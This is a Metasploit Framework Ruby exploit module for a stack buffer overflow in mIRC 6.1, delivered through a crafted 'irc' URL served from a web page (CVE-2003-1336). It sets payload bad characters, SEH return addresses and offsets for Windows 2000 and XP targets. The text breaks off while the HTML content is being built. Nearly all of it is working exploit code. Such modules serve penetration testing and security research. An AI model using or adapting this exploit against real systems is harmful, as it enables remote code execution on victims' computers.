## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'mIRC IRC URL Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in mIRC 6.1. By submitting an overly long and specially crafted URL to the 'irc' protocol, an attacker can overwrite the buffer and control program execution. }, 'License' => MSF_LICENSE, 'Author' => 'MC', 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2003-1336'], [ 'OSVDB', '2665'], [ 'BID', '8819' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 400, 'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 Pro English All', { 'Offset' => 1442, 'Ret' => 0x75022ac4 } ], [ 'Windows XP Pro SP0/SP1 English', { 'Offset' => 1414, 'Ret' => 0x71aa32ad } ], ], 'Privileged' => false, 'DisclosureDate' => 'Oct 13 2003', 'DefaultTarget' => 0)) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) filler = rand_text_alphanumeric(target['Offset'], payload_badchars) seh = generate_seh_payload(target.ret) sploit = filler + seh # Build the HTML content content = "